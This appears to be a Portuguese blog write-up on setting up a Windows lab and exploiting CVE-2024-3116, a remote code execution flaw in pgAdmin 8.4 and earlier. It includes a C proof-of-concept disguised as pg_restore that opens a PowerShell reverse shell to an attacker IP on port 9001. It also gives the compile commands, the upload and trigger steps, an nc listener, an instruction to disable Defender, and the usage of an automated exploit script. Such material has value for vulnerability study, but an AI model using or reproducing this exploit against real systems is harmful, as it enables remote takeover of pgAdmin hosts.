
Criando um laboratório e testando o CVE-2024-3116, uma Execução Remota de Código no pgadmin <=8.4
Criando um laboratório e testando o CVE-2024-3116, uma execução remota de código no pgadmin <=8.4
Eu usei este artigo como base.
Primeiramente um pequeno comentário sobre este laboratório, a documentação do pgadmin é muito ruim e não encontrei nenhum vestígio de alguém instalando pgadmin no windows...
python -m pip install -U pippython -m pip install wheelpython -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, adicione a seguinte linha:LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
SERVER_MODE = True
C:\Users\User\AppData\Roaming\pgAdmin (necessário para setup.py)python site-packages/pgadmin4/setup.py setup-db, coloque Email = [email protected] e Password = password (este email e senha são importantes porque precisamos deles para conectar ao pgadmin)Em seguida, o servidor web:
MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apachepip install mod-wsgimod_wsgi-express module-confighttpd.conf do apachemod_wsgi-express start-server .\pgAdmin4.wsgi (deve estar acessível na porta 8000)Vou explorar a vulnerabilidade a partir de uma máquina Kali que está na mesma rede do pgadmin.
Novamente: Este exploit funciona apenas contra pgadmin no Windows! E precisamos de um usuário válido para explorar esta vulnerabilidade!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
sudo apt-get install mingw-w64x86_64-w64-mingw32-gcc -o pg_restore poc.c

Tools > Import/Export Servers > 'clique no ícone da pequena pasta' > 'Clique nos três pontos no canto superior direito da janela de seleção de arquivo e selecione upload' > 'selecione o binário PoC'

nc -lvnp 9001) para receber a resposta: IMPORTANTE!!!!!!!! O Defender impedirá a execução do binário (então desative o Defender)File > Preferences > Binary Paths e adicione o caminho que obtivemos na resposta ao arquivo enviado na caixa de texto dizendo em frente ao postgresql 16, finalmente clique no ícone na caixa de texto para acionar o PoC
Eu escrevi um script em python para explorar esta vulnerabilidade automaticamente, quase nada a fazer.
Coisas a saber antes de usar este script:
pip install selenium)sudo apt-get install mingw-w64nc -lvnp <port>)Para usar este exploit, use este comando:
python exploit_cve_2024_3116.py --email <email_usuario_pgadmin> --password <senha_usuario_pgadmin> --rhost <http://ip_ou_dominio_alvo> --rport <porta_alvo> --lhost <ip_ouvinte> --lport <porta_ouvinte>
Uma pequena demonstração: https://youtu.be/zdMC3kbN0Is
Todos estes links me ajudaram a instalar o pgadmin no windows:

